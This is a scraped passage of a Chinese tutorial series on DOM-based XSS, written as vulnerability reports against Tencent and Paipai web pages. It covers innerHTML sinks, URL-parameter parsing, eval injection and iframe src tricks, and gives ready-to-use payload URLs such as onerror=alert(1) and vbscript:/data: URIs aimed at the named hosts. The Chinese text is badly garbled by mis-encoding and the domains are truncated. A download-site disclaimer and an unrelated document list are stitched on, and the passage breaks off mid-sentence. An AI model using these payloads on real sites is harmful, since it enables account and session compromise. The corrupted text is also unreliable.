10.別灰心,被過(guò)濾的原因,是因?yàn)镴annock大牛報(bào)告過(guò)這個(gè)漏洞??缯灸_本-可以讓?xiě)?zhàn)場(chǎng)離得更遠(yuǎn)(淺談騰訊架構(gòu)缺陷)11.其實(shí)我們還應(yīng)該注意到上面圖片中,過(guò)濾的實(shí)際上是\u003c和\u003e,但是并沒(méi)有過(guò)濾\u0020,這說(shuō)明,騰訊只是針對(duì)性的過(guò)濾,并沒(méi)有過(guò)濾反斜線。12.其實(shí)呢,在JS字符串里,<不光可以寫(xiě)為\u003c,還可以寫(xiě)為\*3c,>同樣可以寫(xiě)為\*3e。我們?cè)囋囼v訊過(guò)濾了這個(gè)沒(méi)有呢?datalib.ent.qq./cgi-bin/search"libid=1&keyvalue=\*3Cimg\u0020src=1\u0020onerror=alert(1)\*3e&attr=133&stype=2&tname=star_second.shtml
對(duì)應(yīng)源碼,看來(lái)沒(méi)過(guò)濾啊~~
哎呀,這次總算彈出來(lái)了。見(jiàn)漏洞證明13.最后總結(jié)下。本例中是innerHTML的情況。實(shí)際上只要是與改變頁(yè)面HTML內(nèi)容相關(guān)的操作,都可能導(dǎo)致這種問(wèn)題。這也是網(wǎng)上介紹dom*ss時(shí),也經(jīng)常會(huì)提到的東西,比如
document.getElementById("y").innerHTML="**********";
document.write("************");還有一些,使用了第三方的JS庫(kù),譬如jQuery時(shí),會(huì)有$("*y").html("*******");14.當(dāng)然最后,還需要提到一些需要注意的地方。aa.innerHTML="************";這種情況下。*****只能使用<imgsrc=1onerror=alert(1)>這種方式來(lái)觸發(fā)JS。而不能以<script>alert(1)</script>來(lái)觸發(fā),因?yàn)檫@種壓根不會(huì)執(zhí)行<script>..</script>之間的內(nèi)容。IE下,可以使用<scriptdefer>alert(1)</script>。
修復(fù)方案:
此案例凸顯出開(kāi)發(fā)人員的意識(shí)不足問(wèn)題。指哪修哪,浮于表面的修復(fù)沒(méi)有任何意義。方法1.輸出時(shí),過(guò)濾\
方法2.innerHTML=encodeHTML([輸出])9.Dom*ss入門(mén)[隱式輸出]上一篇開(kāi)始說(shuō)Dom*ss了,我們說(shuō)的是顯式輸出的情況,即我們可以在右鍵查看源代碼的時(shí)候,看到我們所輸出的內(nèi)容。而有一些時(shí)候,輸出操作我們是看不見(jiàn)的。它們通常發(fā)生在javascript代碼中。譬如:var*=location.href;這句Javascript實(shí)際上進(jìn)行了一個(gè)隱藏的輸出操作,即將location.href的內(nèi)容輸出到了*變量中。一起來(lái)看看相關(guān)的例子吧~前注:1-4是普通原理,沒(méi)看明白的話,可以從5開(kāi)始,結(jié)合實(shí)際例子看。1.本來(lái)是有另外一個(gè)例子的,不過(guò)不知道是騰訊已經(jīng)給修復(fù)了,還是之前測(cè)試的時(shí)候人品好,偶爾碰上了,總之現(xiàn)在用不上了。2.這樣一來(lái),我們就只好用一個(gè)稍微復(fù)雜一點(diǎn)點(diǎn)的例子了。3.在說(shuō)實(shí)際例子前,我們來(lái)說(shuō)一個(gè)前端開(kāi)發(fā)人員非常習(xí)慣使用的一段代碼。下面大致寫(xiě)下偽代碼。functiongetParam(參數(shù)名){//獲取地址欄參數(shù),通常是a=1&b=2&c=3;var*=location.search;//或者是location.hash//此時(shí)*=""a=1&b=2&c=3";//根據(jù)[參數(shù)名]取出參數(shù)名對(duì)應(yīng)的值//例如參數(shù)名=a,則y=1//例如參數(shù)名=b,則y=2//至于這里怎么實(shí)現(xiàn)這個(gè)功能,可以用循環(huán),可以用inde*Of,可以用正則vary=參數(shù)名對(duì)應(yīng)的參數(shù)值;//返回yreturny;}它的作用呢?就是從地址欄的參數(shù)里取出內(nèi)容。譬如:.some./2.html"name=shouzi&age=20我們?cè)?.html,要顯示name對(duì)應(yīng)的值。對(duì)應(yīng)的代碼則非??赡芟旅孢@樣寫(xiě):<divid="nick">加載中...</div><script>vara=getParam("name");//獲取地址欄里的name參數(shù),即shouzidocument.getElementById("nick").innerHTML=a;</script>4.上面是普通開(kāi)發(fā)人員為了實(shí)現(xiàn)功能而寫(xiě)的代碼,如果沒(méi)有安全考慮,就會(huì)存在問(wèn)題。如果上面的地址變?yōu)榱耍?some./2.html"name=<imgsrc=1onerror=alert(1)>&age=20則變量a將會(huì)等于<imgsrc=1onerror=alert(1)>document.getElementById("nick").innerHTML=a;即變成了document.getElementById("nick").innerHTML="<imgsrc=1onerror=alert(1)>";這樣就變成了教程8中的情景,從而觸發(fā)*SS。5.接著我們看一個(gè)實(shí)際的例子。qt.qq./video/play_video.htm"sid=aaaaaa和原來(lái)的不同,我們?cè)谠创a里搜索不到東西的哦~那可能這里有人會(huì)有一個(gè)疑問(wèn)了。那我們?cè)趺粗烙袥](méi)有漏洞呢?別擔(dān)心,方法是有的。這里以chrome為例,按F12,打開(kāi)調(diào)試工具,見(jiàn)下圖和查看源代碼沒(méi)有什么不同,只是這次是在調(diào)試工具里看而已。6.通過(guò)上面的方式,確定【可能】有漏洞之后。我們可以有2個(gè)方式來(lái)進(jìn)行下一步。6.1直接根據(jù)調(diào)試工具里看到的HTML代碼情況,來(lái)構(gòu)造利用代碼。優(yōu)點(diǎn):省時(shí)間,缺點(diǎn):如果對(duì)方有一定過(guò)濾,就很難構(gòu)造6.2定位到與這個(gè)缺陷參數(shù)sid相關(guān)的JS代碼,再來(lái)構(gòu)造利用代碼。優(yōu)點(diǎn):能利用一些復(fù)雜的情況,缺點(diǎn):耗時(shí)間。7.對(duì)于新手來(lái)說(shuō),先看6.1的情況。看到步驟5里面的那個(gè)圖。我們可以構(gòu)造以下代碼。<objectwidth="100%"height="100%"id="f"classid="clsid:d27cdb6e-ae6d-11cf-96b8-0"codebase="fpdownload.macromedia./pub/shockwave/cabs/flash/swflash.cab*version=8,0,0,0"><paramname="movie"value="aaaaaa"></object><imgsrc="1"onerror="alert(1)">...其它的省略了...</object>對(duì)應(yīng)的圖片解析:進(jìn)而“試探性”的測(cè)試一下利用代碼,因?yàn)槲覀儾恢缹?duì)方會(huì)不會(huì)過(guò)濾掉“雙引號(hào)”,“括號(hào)”之類(lèi)的,只能試試了。。qt.qq./video/play_video.htm"sid=aaaaaa"></object><imgsrc="1"onerror="alert(1)沒(méi)反應(yīng),我們繼續(xù)看看調(diào)試工具,發(fā)現(xiàn),雙引號(hào),變成了\\"。根據(jù)這個(gè)情況,我們可以進(jìn)一步修改代碼。<img>標(biāo)簽里不使用雙引號(hào)。qt.qq./video/play_video.htm"sid=aaaaaa"></object><imgsrc=1onerror=alert(1)>這次OK啦??梢钥吹?,這種方式,寫(xiě)利用代碼很快。8.再來(lái)看看6.2的方法。既然我們知道了,sid這個(gè)參數(shù)會(huì)被使用。則我們的目標(biāo)是,javascript的代碼里哪里使用了sid這個(gè)參數(shù)呢?9.我們首先,F(xiàn)12打開(kāi)調(diào)試工具,點(diǎn)【Resources】,再點(diǎn)Frames,然后Ctrl+F搜索"sid"或者'sid'我們運(yùn)氣很好,一下就定位到了一個(gè)sid。10.可以看到是getUrlPara("sid"),從單詞,我們不難猜出,getUrlPara就是前面我們提到的“獲取地址欄參數(shù)“的函數(shù)。為了進(jìn)一步確定,我們可以很方便的在console里查看getUrlParam函數(shù)是啥樣的??梢钥吹剑瑢?shí)際上getUrlParam是對(duì)<,>做了過(guò)濾,但是由于chrome瀏覽器自身的*SS防御機(jī)制,導(dǎo)致location.href獲取的location.href是已經(jīng)經(jīng)過(guò)編碼的。從而導(dǎo)致未過(guò)濾。如下圖:11.按道理,location.href里的<,>,"已經(jīng)變成了%3c,%3e,%22已經(jīng)被過(guò)濾了,不會(huì)有*SS了,為什么還可以呢?我們進(jìn)一步往后看。看來(lái),關(guān)鍵就是這里,這里有一步decodeURIponent的操作,會(huì)將%3c,%3e,又變回<,>供參考的完整的缺陷代碼。varsid=getUrlPara("sid");if(!sid||sid==""){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-10p*;">抱歉,視頻不存在!</div>';}else{varflash_ver=GetSwfVer();if(flash_ver==-1){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-30p*;">抱歉,您還沒(méi)有安裝flash插件<br/>請(qǐng)<atarget="_blank"href=".macromedia./go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash后,請(qǐng)<ahref="javascript:location.reload();">點(diǎn)此刷新</a></div>';}elseif(flash_ver.split('.')[0]<10){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-30p*;">抱歉,您的flash版本過(guò)低<br/>請(qǐng)<atarget="_blank"href=".macromedia./go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash后,請(qǐng)<ahref="javascript:location.reload();">點(diǎn)此刷新</a></div>';}else{sid=decodeURIponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');if(!is_valid_sid(sid)){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-10p*;">無(wú)法打開(kāi)視頻文件,視頻地址不合法!</div>';}else{insertFlash("dv_video","f",sid,"100%","100%");}}}12.接著,會(huì)調(diào)用insertFlash("dv_video","f",sid,"100%","100%");insertFlash里,也并沒(méi)有對(duì)sid進(jìn)行任何過(guò)濾。functioninsertFlash(elm,eleid,url,w,h){if(!document.getElementById(elm))return;varstr='';str+='<objectwidth="'+w+'"height="'+h+'"id="'+eleid+'"classid="clsid:d27cdb6e-ae6d-11cf-96b8-0"codebase="fpdownload.macromedia./pub/shockwave/cabs/flash/swflash.cab*version=8,0,0,0">';str+='<paramname="movie"value="'+url+'"/>';str+='<paramname="allowScriptAccess"value="never"/>';str+='<paramname="allowFullscreen"value="true"/>';str+='<paramname="wmode"value="transparent"/>';str+='<paramname="quality"value="autohigh"/>';str+='<embedwidth="'+w+'"height="'+h+'"name="'+eleid+'"src="'+url+'"quality="autohigh"swLiveConnect="always"wmode="transparent"allowScriptAccess="never"allowFullscreen="true"type="application/*-shockwave-flash"pluginspage=".macromedia./go/getflashplayer"></embed>';str+='</object>';document.getElementById(elm).innerHTML=str}圖片解析:13.根據(jù)以上分析,我們的利用代碼可以寫(xiě)為。注意,%3E,%3C的編碼是關(guān)鍵。qt.qq./video/play_video.htm"sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E非常值得說(shuō)明的是:如果采用6.1的方法,我們得到的利用代碼是qt.qq./video/play_video.htm"sid=aaaaaa"></object><imgsrc=1onerror=alert(1)>!!這個(gè)代碼在IE下,是沒(méi)法*SS的。而通過(guò)6.2的方法,去分析JS代碼,我們則可以構(gòu)造出通用的*SS代碼。qt.qq./video/play_video.htm"sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E這也反應(yīng)了6.1和6.2方法各自的優(yōu)缺點(diǎn)。修復(fù)方案:1.修復(fù)過(guò)濾上的邏輯問(wèn)題。2.注意不同瀏覽器中,location.href的不同點(diǎn)。10.Dom*ss進(jìn)階[邂逅eval]前面的教程,說(shuō)到了顯式輸出和隱式輸出。但是不論怎么樣,因?yàn)樽罱Kjavascript都會(huì)通過(guò)document.write或innerHTML將內(nèi)容輸出到網(wǎng)頁(yè)中,所以我們總是有辦法看到輸出到哪里。但是有時(shí)候,我們的輸出,最終并沒(méi)有流向innerHTML或document.write,而是與eval發(fā)生了邂逅,我們?cè)撛趺赐诰虿⒗媚兀?/p>
詳細(xì)說(shuō)明:
1.我們直接上例子。kf.qq./search_app.shtml"key=aaaaa
和前面的不同之處,這次我們搜索源代碼和調(diào)試工具都看不到任何東西。
2.這個(gè)時(shí)候,我們可以看看Console,看看有沒(méi)有其它有用的東西~~一般來(lái)說(shuō),默認(rèn)情況下,是不會(huì)有問(wèn)題的。我們可以給參數(shù)加一些特殊符號(hào)。這里我比較習(xí)慣用\,因?yàn)檫@玩意比較好使。當(dāng)然你也可以用其它比較特殊的符號(hào),比如雙引號(hào),單引號(hào),只是被過(guò)濾掉的幾率比較大。這個(gè)時(shí)候,我們看看Console里面,多出了一條錯(cuò)誤。
我們可以點(diǎn)右側(cè),直接定位到錯(cuò)誤代碼。
3.點(diǎn)進(jìn)去后,可以看到是哪個(gè)地方出錯(cuò)了。
我們來(lái)看看這段代碼:vargetarg=function()
{
varurl=window.location.href;
varallargs=url.split(""")[1];
if(allargs!=null&&allargs.inde*Of("=")>0)
{
varargs=allargs.split("&");
for(vari=0;i<args.length;i++)
{
vararg=args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
和上一節(jié)教程類(lèi)似,這段代碼,實(shí)際上也是一個(gè)獲取地址欄參數(shù)的代碼。比如,地址欄是key=aaaa;則arg[0]就是字符串'key',arg[1]就是字符串'aaaa';則eval這句就是執(zhí)行的eval('this.key="aaaa";')
這樣一來(lái),this.key="aaaa";這句就被執(zhí)行了。4.如果這里我們把key換個(gè)寫(xiě)法呢?this.key="aaaa";this.key;alert(1);//="aaaa";如下圖:
則是不是將會(huì)執(zhí)行我們的alert(1);呢?5.根據(jù)上面內(nèi)容,我們可以構(gòu)造代碼。kf.qq./search_app.shtml"key;alert(1);//=aaaa
HOHO~,如我們所愿的彈出了。
6.不知道看完上面的,有沒(méi)有娃注意到,后面的aaaa不是也可以構(gòu)造嗎?this.key="aaaa";換為this.key="aaa";alert(1);//";確實(shí)是如此:)kf.qq./search_app.shtml"key=aaa";alert(1);//
這個(gè)在IE下一樣是可以的。但是這樣在chrome下卻不行。原因其實(shí)上面一節(jié)教程也提到過(guò)。chrome會(huì)自動(dòng)對(duì)",>,<進(jìn)行轉(zhuǎn)換。因而this.key="aaa";alert(1);//";會(huì)變成this.key="aaa%22;alert(1);//";從而失效。7.上面就是本篇教程了,我們?cè)賮?lái)看看題外話。其實(shí)以上問(wèn)題,不是單獨(dú)存在的。在另外一個(gè)頁(yè)面也是存在的。更多內(nèi)容,參見(jiàn)本篇漏洞修復(fù)。
修復(fù)方案:
參照你們已經(jīng)修復(fù)的類(lèi)似文件即可。kf.qq./wsearch.shtml
的
kf.qq./js/wsearch.js
本來(lái)上面這個(gè)文件也是存在漏洞的,估計(jì)這個(gè)位置已經(jīng)被人報(bào)告給騰訊了,因而騰訊加了一次防御。我們看看騰訊的防御措施。vargetarg=function(){
省略相同部分...
eval('this.'+arg[0]+'="'+HtmlAttributeEncode(arg[1])+'";');
省略相同部分...
}
也就是說(shuō),騰訊這里對(duì)后面的arg[1]進(jìn)行了過(guò)濾。接著,這個(gè)問(wèn)題又被再次報(bào)告了,因而前些時(shí)候,騰訊又進(jìn)一步做了修復(fù)。vargetarg=function(){
省略相同部分...
if(arg[0]!=null&&arg[1]!=null&&(arg[0]=='page'||arg[0]=='count'||arg[0]=='tag'||arg[0]=='key'||arg[0]=='total'))
{
eval('this.'+arg[0]+'="'+HtmlAttributeEncode(arg[1])+'";');
}
省略相同部分...
}
這一次,騰訊對(duì)arg[0]進(jìn)行了判斷。哈,補(bǔ)了東墻,補(bǔ)西墻。不過(guò)呢?補(bǔ)了這個(gè)wsearch.js文件,還有我們現(xiàn)在分析的這個(gè)(kf.qq./js/search_app.js)文件。11.Dom*ss進(jìn)階[善變iframe]有時(shí)候,輸出還會(huì)出現(xiàn)在<iframesrc="[輸出]"></iframe>。iframe的src屬性本來(lái)應(yīng)該是一個(gè)網(wǎng)址,但是iframe之善變,使得它同樣可以執(zhí)行javascript,而且可以用不同的姿勢(shì)來(lái)執(zhí)行。這一類(lèi)問(wèn)題,我將其歸為[路徑可控]問(wèn)題。當(dāng)然上面說(shuō)到的是普通的反射型*SS。有時(shí)候程序員會(huì)使用javascript來(lái)動(dòng)態(tài)的改變iframe的src屬性,譬如:iframeA.src="[可控的url]";同樣會(huì)導(dǎo)致*SS問(wèn)題,來(lái)看看本例吧~詳細(xì)說(shuō)明:1.先來(lái)說(shuō)說(shuō)iframe的變化。1.1最好懂的,onload執(zhí)行js<iframeonload="alert(1)"></iframe>1.2src執(zhí)行javascript代碼<iframesrc="javascript:alert(1)"></iframe>1.3IE下vbscript執(zhí)行代碼<iframesrc="vbscript:msgbo*(1)"></iframe>1.4Chrome下data協(xié)議執(zhí)行代碼<iframesrc="data:te*t/html,<script>alert(1)</script>"></iframe>Chrome1.5上面的變體<iframesrc="data:te*t/html,<script>alert(1)</script>"></iframe>1.6Chrome下srcdoc屬性<iframesrcdoc="<script>alert(1)</script>"></iframe>2.有興趣的,可以一個(gè)一個(gè)的去測(cè)試上面的效果,注意瀏覽器的特異性哦。3.接著我們來(lái)看看具體的例子。helper.qq./appweb/tools/tool-detail.shtml"turl=aaaaaa&gid=yl&cid=68&from=4.我們先開(kāi)調(diào)試工具,看看有沒(méi)有可見(jiàn)的輸出??梢钥吹?,我們參數(shù)的aaaaaa被帶入到了<iframesrc="這里"></iframe>。這樣一來(lái),就滿足了我們的使用條件。我們?cè)囋噃elper.qq./appweb/tools/tool-detail.shtml"turl=javascript:alert(1);&gid=yl&cid=68&from=。。竟然沒(méi)反應(yīng)。我們來(lái)看看剛才的那個(gè)地方??梢钥吹剑瑂rc這次沒(méi)屬性了,看來(lái)騰訊做了什么過(guò)濾。我們繼續(xù)搜索下一個(gè)toolframe試試。恩,看來(lái)就是這段代碼導(dǎo)致的。一起看看這段代碼。functionOpenFrame(url){if(url.toLowerCase().inde*Of('')!='-1'||url.toLowerCase().inde*Of('https://')!='-1'||url.toLowerCase().inde*Of('javascript:')!='-1')returnfalse;document.getElementById("toolframe").src=url;}不難看出,騰訊對(duì)javascript:做出了判斷。document.getElementById("toolframe").src=url;這句是導(dǎo)致*SS的一句代碼。而openFrame的url參數(shù)則來(lái)自于(無(wú)關(guān)代碼省略):...vartool_url=getQueryStringValue("turl");...openFrame(tool_url);...5.根據(jù)我們上面說(shuō)道的iframe的利用方法,我們不難看出,騰訊的過(guò)濾是不完善的。在IE下,我們可以使用vbscript來(lái)執(zhí)行代碼。vbscript里'單引號(hào)表示注釋,類(lèi)似JS里的//helper.qq./appweb/tools/tool-detail.shtml"turl=vbscript:msgbo*(1)'&gid=yl&cid=68&from=在chrome下,我們可以用data協(xié)議來(lái)執(zhí)行JS。helper.qq./appweb/tools/tool-detail.shtml"turl=data:te*t/html,<script>alert(1)</script>'&gid=yl&cid=68&from=6.就到這里。修復(fù)方案:危險(xiǎn)的不光是javascript:,vbscript:,data:等同樣需要過(guò)濾。12.Dom*ss進(jìn)階[路徑con]我不是蘿莉con,我是路徑con。一些程序員會(huì)動(dòng)態(tài)的加載json數(shù)據(jù),同域的時(shí)候,可以使用aja*;而有時(shí)候,數(shù)據(jù)所在域和當(dāng)前頁(yè)面所在域又不一致。所以需要跨域請(qǐng)求。跨域請(qǐng)求數(shù)據(jù)的手段中,有一種叫做jsonp。用代碼表示的話,就是somescript.src="otherdomain./**"jsonp=callback"*些時(shí)候,程序員會(huì)在調(diào)用外部數(shù)據(jù)的時(shí)候帶上可控的參數(shù)。somescript.src="otherdomain./**"jsonp=callback&id="+id;如果這個(gè)id我們可控,將可能帶來(lái)*SS問(wèn)題。詳細(xì)說(shuō)明:本次教程,就不像前面的一樣,去細(xì)說(shuō)操作過(guò)程了,前面的幾次教程也基本將常用操作全部介紹到了。直接來(lái)看例子。1.在掃描過(guò)程中,經(jīng)常遇到下面的例子。2.初看看,這種情況,似乎沒(méi)有什么利用價(jià)值。3.但是我們不難想象,如果這個(gè)地址是我們可控的話,一樣會(huì)帶來(lái)威脅。地址的可控可以分為3個(gè)層面。3.1scriptsrc="完全可控",這種就簡(jiǎn)單了,直接將地址換為我們的JS地址3.2scriptsrc="/path/***/[路徑可控]/1.js"這種要利用的話,需要同域名下有可控的文件。可控文件又分為2種。3.2.1可以直接上傳文本至同域名下,不一定要是HTML文件,需要上傳點(diǎn)有過(guò)濾缺陷。3.2.2參數(shù)可控,利用可用的json接口。最終變?yōu)閟criptsrc="/path/***/.../yyy/**.json"callback=alert(1)"3.3scriptsrc="/****/json.php"callback=****¶m1=yyy¶m2=[參數(shù)可控]"這種情況,和3.2.2類(lèi)似,如果參數(shù)可控,且json的參數(shù)沒(méi)有很好的過(guò)濾時(shí)。我們就有機(jī)可乘了。4.本文以拍拍網(wǎng)一處*SS為例,來(lái)描述以上可能性。掃描器掃到的點(diǎn),見(jiàn)步驟1中的圖。進(jìn)一步,我們可以通過(guò)抓包的方式,看到頁(yè)面在打開(kāi)時(shí),所加載的外部JS文件地址。sse1.paipai./m_json"callback=mentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681我們打開(kāi)這個(gè)JSON,用掃描反射型的方式,可以測(cè)試出,callback,dtag以及ranking可控。但均無(wú)法使用<,>,也就是說(shuō),這個(gè)JSON接口本身是無(wú)*SS風(fēng)險(xiǎn)的。此外dtag,和ranking都在雙引號(hào)里面,我們?cè)诤罄m(xù)無(wú)法進(jìn)行利用,而callback則在最前面,比較好控制。我們可以想象下,如果我們可以讓這個(gè)頁(yè)面調(diào)用:sse1.paipai./m_json"callback=alert(1);則將會(huì)產(chǎn)
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 商戶入住商務(wù)合同范例
- 天津?yàn)I海汽車(chē)工程職業(yè)學(xué)院《地球物理場(chǎng)論I》2023-2024學(xué)年第一學(xué)期期末試卷
- 天府新區(qū)信息職業(yè)學(xué)院《裝修工程概預(yù)算實(shí)訓(xùn)》2023-2024學(xué)年第一學(xué)期期末試卷
- 正常購(gòu)買(mǎi)合同范例
- 廣告大屏合同范例
- 汕尾鍋爐陶瓷噴涂施工方案
- 歐式合同范例
- 涼皮供貨協(xié)議合同范例
- 錄音制作合同范例
- 《2 我向國(guó)旗敬個(gè)禮》教學(xué)實(shí)錄-2024-2025學(xué)年道德與法治一年級(jí)上冊(cè)統(tǒng)編版
- 酒店用品設(shè)備采購(gòu)?fù)稑?biāo)方案(技術(shù)方案)
- JCT908-2013 人造石的標(biāo)準(zhǔn)
- 員工職業(yè)生涯規(guī)劃調(diào)查問(wèn)卷
- 課程與教學(xué)論-全書(shū)要點(diǎn)(余文森版)-
- 萬(wàn)物之理-愛(ài)因斯坦之夢(mèng)智慧樹(shù)知到課后章節(jié)答案2023年下中國(guó)海洋大學(xué)
- UI設(shè)計(jì)·形考任務(wù)一
- 天津理工大學(xué)數(shù)據(jù)結(jié)構(gòu)實(shí)驗(yàn)報(bào)告4
- 雷達(dá)原理與系統(tǒng)-雷達(dá)系統(tǒng)設(shè)計(jì)與實(shí)驗(yàn)
- 充電樁工程施工組織設(shè)計(jì)施工組織
- 起訴狀(淘寶虛假交易)
- 論文《后疫情時(shí)代信息技術(shù)與幼兒園教育深度融合的策略研究》
評(píng)論
0/150
提交評(píng)論